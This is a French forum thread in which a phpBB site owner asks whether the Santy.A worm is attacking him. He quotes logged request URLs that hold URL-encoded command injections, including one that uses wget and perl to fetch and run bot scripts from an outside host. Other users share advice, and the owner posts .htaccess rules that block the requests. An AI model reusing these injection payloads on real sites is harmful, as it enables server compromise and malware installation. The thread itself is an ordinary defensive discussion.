Suis je en train d'être hacké par le virus Santy.A ???

[r23o]

En surveillant mes logs depuis ce matin je remarque bcp de requetes etranges vers les topics de mon forum phpbb :

De ce genre :

-http://www.alvoltaire.com/forum/viewtopic.php?t=62&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20cd%20/tmp;wget%20civa.org/pdf/bot;perl%20bot;wget%20civa.org/pdf/ssh.a;perl%20ssh.a%3B%20%65%63%68%6F%20%5F%45%4E%44%5F&highlight=%2527.%70%61%73%73%74%68%72

-http://www.alvoltaire.com/forum/viewtopic.php?t=238&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(119)%252

J'ai mis à jour mon forum phpbb à la version 2.0.11 depuis 4 semaines.. Donc normalement je ne risque pas grand chose (enfin j'espere). Je viens de faire une sauvegarde complete de mon site (bdd+ fichier)

Mais j'aimerais avoir votre avis... merci
Et vos conseils sur ce que ce que vous feriez à ma place...

Voici ma page de log : -http://www.alvoltaire.com/online.php

En plus ils me bouffent une sacrée bande passante. c'est malin

 

[Dr DLP]

Ca ressemble beaucoup aux requêtes du virus effectivement.
Si ton forum est à jour tu ne risques rien

 

[JeunZ]

Mais si google à bloqué les requetes il passerait par ou alors?

 

[dmathieu]

du moment qu'il a trouvé le forum, il peut toujours passer...
apres, suffit de suivre les bl

 

[Gromka]

En plus ils me bouffent une sacrée bande passante. c'est malin Sad

Ça peut t'aider http://www.phpbb.com/phpBB/viewtopic.php?t=249010

Mais si google à bloqué les requetes il passerait par ou alors?

Quelqu'un pourrait modifier le code et utiliser Yahoo ou MSN...

 

[r23o]

merci bcp pour ces renseignements

j'ai collé ceci à la fin de mon htaccess :

RewriteEngine On 
RewriteCond %{QUERY_STRING} ^(.*)highlight=\%2527 [OR] 
RewriteCond %{HTTP_COOKIE}% s:(.*):\%22test1\%22\%3b 
RewriteRule ^.*$   -   [F,L]

J'espere que ça va les calmer...


Pour l'instant les bots continuent de me bombarder... 5000 hits sur mon site aujourd'hui dont 3500 venant des bot santy.A (jamais vu un spam pareil et le nombre de requete augmente d'heure en heure... A 18 h aujourd'hui j'ai enregistré 60 ip differentes au même moment sur mon site (triste record :cry: )

Mon record de visiteur unique simultané est de 24 (et ça date)...
ça sent le mail de depassement de hits par ovh, je suis sur un modeste 60gp... :cry:

 

[r23o]

ça a l'air de marcher.

Pendant 10 min plus aucune requete suspecte sur mon site (c magique lol !)
Merci bcp Gromka tu me sauves la vie